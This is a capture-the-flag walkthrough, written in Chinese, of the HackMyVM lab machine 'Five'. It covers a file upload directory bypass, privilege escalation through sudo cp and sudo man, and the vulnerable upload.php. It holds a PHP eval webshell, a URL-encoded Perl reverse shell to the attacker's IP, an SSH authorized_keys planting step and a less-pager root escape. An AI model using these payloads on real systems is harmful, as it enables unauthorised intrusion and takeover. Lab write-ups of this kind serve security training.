6.Five
1. 基本信息^toc
靶机链接：https://hackmyvm.eu/machines/machine.php?vm=Five
作者：sml
难度：⭐️⭐️⭐️
知识点：文件上传目录绕过、SSH写公钥、SUDO提权(man、cp)
2. 1.信息收集
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -sS 192.168.9.8 -p 1-65535
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 12:48 CST
Nmap scan report for 192.168.9.8
Host is up (0.00038s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:93:A4:57 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
目录扫描
┌──(root㉿kali)-[/home/kali/Desktop]
└─# gobuster dir -u http://192.168.9.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.9.8/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 185] [--> http://192.168.9.8/uploads/]
/admin (Status: 301) [Size: 185] [--> http://192.168.9.8/admin/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
/uploads是空的。
看下/admin
爆破一下
没有啥结果
3. 2.文件上传
访问/upload.html
传一个马上去
扫描目录发现有/uploads目录
大概率就是上传到这个目录了
访问发现有问题。修改文件后缀为txt 发现可以访问
这应该是对文件格式进行了限制
尝试大小写绕过失败，
4. 3.文件上传绕过
观察数据包
POST /upload.php HTTP/1.1
Host: 192.168.9.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Viewer/99.9.8782.87
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------170435815133440741313678117785
Content-Length: 509
Origin: http://192.168.9.8
Connection: keep-alive
Referer: http://192.168.9.8/upload.html
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Priority: u=0, i
-----------------------------170435815133440741313678117785
Content-Disposition: form-data; name="fileToUpload"; filename="1.php"
Content-Type: application/octet-stream
<?php
eval($\_POST["pass"]);
-----------------------------170435815133440741313678117785
Content-Disposition: form-data; name="directory"
/uploads
-----------------------------170435815133440741313678117785
Content-Disposition: form-data; name="submit"
Upload File
-----------------------------170435815133440741313678117785--
可能是文件上传目录进行了限制。我们将/uploads修改为./
成功上传且可以访问http://192.168.9.8/1.php
直接用哥斯拉连接上去
重新上传一个系统马反弹shell
pass=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.9.3%22%3B%24p%3D1122%3Bsocket%28S%2CPF\_INET%2CSOCK\_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr\_in%28%24p%2Cinet\_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27
5. 4.提权
(remote) www-data@five:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/umount
/usr/bin/su
/usr/bin/man
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/more
(remote) www-data@five:/var/www/html$ sudo -l
Matching Defaults entries for www-data on five:
env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on five:
(melisa) NOPASSWD: /bin/cp
www-data用户可以用melisa用户的CP命令权限
直接复制user.txt到1.txt并查看1.txt是不行的
因为1.txt也是属于melisa的文件。当前用户无法查看
我们要自己给自己创建一个属于自己的文件 然后复制user.txt到这个文件里面
而且还要先将这个文件给melisa用户读写权限。不然meilisa写不了
touch 1.txt
chmod a+rw 1.txt
sudo -u melisa cp /home/melisa/user.txt /tmp/1.txt
5.提权root
当前用户除了melisa的cp权限就没有什么明显可以利用的东西了。我们直接借助cp写公钥给melisa 然后ssh上去
看一下ssh的配置
cat /etc/ssh/sshd\_config
4444端口开放
写公钥连接melisa用户
cd /tmp
ssh-keygen //生成公私钥
sudo -u melisa cp id\_rsa.pub /home/melisa/.ssh/authorized\_keys //写入公钥
ssh -i id\_rsa -p 4444 melisa@127.0.0.1
melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five:
(ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear
但是会发现使用 Sudo man man 无法执行命令
这是因为分页模式不同，使用 less 分页即可执行命令
less分页模式
sudo man -P /usr/bin/less man
!/bin/bash
拓展
我们知道漏洞的原因是上传时允许我们修改目录绕过了他指定的上传目录/uploads
upload.php
<?php
$target\_dir = $\_POST["directory"];
$target\_file = $target\_dir . basename($\_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move\_uploaded\_file($\_FILES["fileToUpload"]["tmp\_name"], $target\_file)) {
echo "The file ". htmlspecialchars( basename( $\_FILES["fileToUpload"]["name"])). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
看一下uploads可以发现我们上传的Php马确实是上传成功了，但是却无法访问，这是为什么呢
看下/etc/nginx/nginx.conf与/etc/nginx/sites-enabled/defaut
在/etc/nginx/sites-enabled/defaut 找到了原因
location ~\* /uploads/.\*.php$
{
return 403;
}
这一部分配置明确禁止访问 /uploads/ 目录下的任何 PHP 文件，返回 403 Forbidden 错误。